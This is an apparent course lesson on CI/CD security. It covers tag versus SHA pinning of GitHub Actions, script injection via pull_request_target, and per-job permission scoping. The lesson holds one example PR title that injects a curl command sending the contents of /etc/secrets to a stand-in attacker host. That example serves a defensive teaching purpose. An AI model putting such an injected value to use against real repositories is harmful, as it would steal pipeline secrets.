CI/CD's own domain covered OIDC federation specifically to stop long-lived cloud credentials from sitting in pipeline secrets. That closes one real risk — but a pipeline is a program that runs automatically on code changes, and it has its own, different attack surface that OIDC doesn't touch at all.
3 min read
A pipeline that deploys to production typically holds real, powerful credentials (even with OIDC, it holds a temporary role capable of deploying) and runs automatically, often triggered by nothing more than opening a pull request. Compromising the pipeline itself — not the application it deploys — gives an attacker everything the pipeline can do, and a pipeline usually can do quite a lot.
- uses: some-org/some-action@v2 # a TAG — "v2" can be moved to point at different code later
- uses: some-org/some-action@a1b2c3d4e5f6... # a COMMIT SHA — immutable, cannot be silently changedA GitHub Actions workflow referencing a third-party action by a version tag (@v2) trusts whoever controls that repository to never move that tag to point at different, possibly malicious code — and a compromised maintainer account (the exact supply-chain risk Web Security's dependency lesson already covered for packages) can do exactly that, silently, with every workflow using @v2 picking up the malicious version on its very next run. Pinning to a full commit SHA instead means the referenced code is cryptographically fixed — moving the tag elsewhere has no effect, since the workflow points at one specific, immutable commit regardless of what any tag currently points to.
pull_request_target and script injection — letting an outside contributor's own text run as codeon: pull_request_target # runs with access to repo secrets, even for PRs from forks
jobs:
comment:
steps:
- run: echo "Building PR: ${{ github.event.pull_request.title }}"This looks harmless — printing a PR's title — but github.event.pull_request.title is attacker-controlled text: anyone opening a pull request sets their own PR title. A title of "; curl attacker.com/steal?data=$(cat /etc/secrets) # gets interpolated directly into the shell command before it runs, turning a title string into arbitrary shell code — the exact OS command injection mechanism lesson 1 covered, just with the untrusted input arriving via a pull request's metadata instead of a web form, and executing with pull_request_target's elevated, secret-bearing permissions rather than an ordinary unprivileged context.
This exact pattern — often called a "pwn request" — has compromised real, major open-source projects' CI pipelines. The fix: never interpolate PR-supplied text (title, branch name, commit message) directly into a shell command; pass it through an environment variable instead (env: PR_TITLE: ${{ github.event.pull_request.title }}, then reference $PR_TITLE in the script) so the shell treats it as inert data rather than re-parsing it as command syntax — the same parameterization fix every injection class in this domain keeps returning to.
Every action in a workflow step runs with access to whatever secrets and permissions that workflow job has — a third-party action doing something as simple as "format this code" has, by default, the same access to repository secrets as the deploy step three lines below it. Scoping workflow permissions narrowly per job (permissions: blocks limiting exactly what a given job can touch, the same least-privilege principle Web Security's secrets-management lesson applied to service credentials) limits what a compromised or carelessly-written third-party action could actually reach, even if it otherwise wanted to.
Every principle this domain has built up for untrusted input reaching a dangerous sink — commands, queries, shell interpolation — applies identically to a CI/CD workflow, because a workflow genuinely is a program, and PR titles, branch names, and commit messages genuinely are untrusted input a stranger on the internet fully controls the moment they open a pull request against a public repository.
Check your understanding
A quick comprehension check — not tracked, not graded, just for you.
1. Why is pinning a GitHub Action to a commit SHA safer than pinning to a version tag like @v2?
2. What makes a "pwn request" attack on pull_request_target workflows dangerous?
3. What is the correct fix for safely using PR-supplied text like a title inside a workflow step?
Application Security & Secure Coding